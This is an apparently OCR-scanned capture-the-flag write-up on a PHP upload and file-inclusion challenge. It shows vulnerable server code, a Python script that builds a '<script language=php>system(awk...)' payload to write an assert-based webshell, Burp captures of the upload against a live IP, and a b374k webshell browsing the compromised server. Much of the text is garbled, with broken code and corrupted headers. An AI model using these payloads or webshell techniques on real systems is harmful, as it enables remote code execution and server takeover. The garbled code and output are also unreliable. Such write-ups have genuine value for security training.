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<!-- upload.php -->

<?php
if(!isset($_GET['file']))
{
header('Location: ./index.php?file=hello.php');
exit();
}
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/php:\/\/|http|data|ftp|input|%e0/i', $file) || strstr($file,"..") !== FALSE || str
{
echo "<h1>NAIVE!!!</h1>";
}
else
{
include($file);
}
}
?>

upload.php



<html>
<head>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>UPLOAD</title>
</head>
<form action=

enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
& bf&jpg gif png HRMISHE  SUHR/DAIREEIT100K1B<br>
<?php
//error_reporting(0);
if(lempty($_FILES["file"]))
{
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);

if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) & in_array($extension, $allowedExts))
{

$filename = date('Ymdhis').rand(1000, 9999).'."'.$extension;

if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
$url="upload/".$filename;
$content = file_get_contents($url);
$content = preg_replace('/<\?php|\?>/i"', '_', $content);
file_put_contents('upload/'.$filename, $content);

echo "file upload successful!Save in: . "upload/" . $filename;

}else{
echo "upload failed!";

}

else

{
echo "upload failed! allow only jpg,png,gif,jpep";
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hah = "<?php array_map('ass\x65rt', (array)$ REQUEST['xss']);?>"#iX B HOHEN—HE, BREFRERN
weizhi="'666.php ' #¥& B 44

print(len(hah))
k="<script language=php>system(\"awk 'BEGIN{printf \".\'\"\'.\""
j=r

1="}">upload/"+weizhi+"\")"+"</script>"
for i in hah:
k=k+"%c"
j=j+str(ord(i))+',"
j=30:-1]
k=k+"\" A"\,
print(k+j+1)
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Status Code 200

Response Headers:

connection: close

content-length: 38

content-type: text/ntml; charset=UTF-8
date: Sun, 17 Feb 2019 13:48.05 GMT
server: Apache/2 4.10 (Debian)

Response Data:

<l— upload. php —><h1>NAIVE!!</h1>
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Burp Intruder Repeater Window Help
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j tercept | HTTP history | WebSockets history | Options

@ Request to http://123.206.31.85:49166
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Raw | Params | Headers | Hex
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Request Response

JRaw T Params I Headers I Hex ] _[RawT Headers I Hex I HTML I Render ]

POST fupload.php HTTE/1.1 L\ HTTF/1l.1 200 OK "
Host: 1Z23.Z0£.31.E85:491c6 Date: 3un, 17 Feb Z019 15:01:07 GMT -
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; Serwver: Apache/2.4.10 (Debhian)
rv:£65.0) Gecko/Z0100101 Firefox/E5.0 Vary: Accept-Encoding
Aocept: Content-Length: 533
text/html, application/®html+xml, application/xml;g=0.9, im Connection: close
age/webp, */ *;q=0.8 Content-Type: text/html; charsst=UTF-8
Aocept-Language:
zh-CH, zh;q=0.8, sh-TW:; q=0.7, zh-HE; q=0.5,en-U3;q=0.3,en;q <html>
=0.zZ <head>
Peferer: http://123.206.31.85:49166/ upload. php <meta charset="utf-8"/>
Content-Type: multipart/form-data; <meta http-equiv="X{-UA-Compatille"
houndary=s——————— - 108993175631738 content="TE=adg=">
Content-Length: 556 “meta name="viewport" content="width=device-width,
Connection: close initial-scale=1l, maximun-scale=1">
Cookie: pass=51d070féZcc5332144=29592 led03=1E00018Eh0= <title>UPLOAD</title>
Tpgrade-Inssecure—-Requests: 1 </ heads>
<form action="" enctype="multipart/form-data™
————————————————————————————— 10S83175831738 method="post"
Content-Disposition: forwm-data; namwme="file'; name="upload">file: <input type="file" nams="file"
filename="as.jpg" /=<br>
Content-Type: image/jpeg <input type="submit" wvalus="upload" /></form>
O000Fpg gif png 00000 OOO00OOO0100KiB<hr:
<script language=php>rsystem("awk 'BEGIN{printf file upload successful!Save in:
rorml T esososososoosokososorososososos ok osokososososey upload/201902170601075996 . jpg
[k Tt Tek Yot Yol YubYut Yok Yub Tot Tl Yul Tub Yot Yot Tut-Yud ot ot Yok Tul Yol Tul ok Yok Yol a1l
motmy " E0,E3,112,104,112,32,97,114,114,97,121,585,109,9
7,112,40,39,97,115,115,101,114,118,39,44,40,97,114,114,
97,121,41,3€,95,82,€69,81,85,€69,83,84,91,35, 120,115,115,
39,93,41,59,€3, 62} '>upload/E67.php") </ script>
=

————————————————————————————— 10953175631738-- ¥ v

e a search t 0 matches 0 matches

724 bytes | 62 millis
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<script language=php>system("awk 'BEGIN{printf ".'"'."%chchchchchchchchcrhckhclhCrhchcheckckhclhcrhchchesk %

123.206.31.85:49166indexphp’ X

€« c & @ 123.206.31.85:49166/index.php?file=upload/201902170601075996,jpg [T vy IND B P SO O e E =
Eomesus @ sErm e [ smses O s
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Request Response

Status Code 200

Response Headers:

connection: close

content-length: 38

content-type: text/tm; charset=UTF-8
date: Sun, 17 Feb 2019 13:48:05 GMT
server: Apache/2.4.10 (Debian)

Response Data:

<1 upload.php —><n1>NAIVEI! 1</n1>
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c o @ A 123.206.31.85:49166/upload/b374k.php
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Response

tus Code 200

sponse Headers:

onnection: close

ontent-length: 38

ontent-type: text/html; charset=UTF-8
ate: Sun, 17 Feb 2019 13:48:05 GMT
zrver: Apache/2.4.10 (Debian)

sponse Data:

I— upload php —><h1>NAIVE!I</h1>

b374kE L T AREBCE T Iula

3. fiiR§1065705433

Explorer Terminal Eval Convert Database

server IP : 172.17.8.9 | Your IP : 39.139.99.254

Time @ Server : 17 Feb 2819 17:37:65

Linux 8786618d4dc2 2.6.32-754.3.5.€l6.xB6_64 #1 SMP Tue Aug 14 28:46:41 UTC 2018 x36_64
Apachef2_4.18 (Debian) | PHP 5.6_38-8+debsul

[e] name

[ etc ]

[ home ]

[ lib ]

Llibes ]

[ media ]

[ mnt ]

[ opt 1

[ proc ]

[ root ]

© O=EF Afse OEE (IRSE G ORF = FE S FE « TEEHE @ Cookie Editor

+ EE HTML & iRt
<!DOCTYPE html> A TE {
<html> [event 1

body {

backgrouna: » () #fefo
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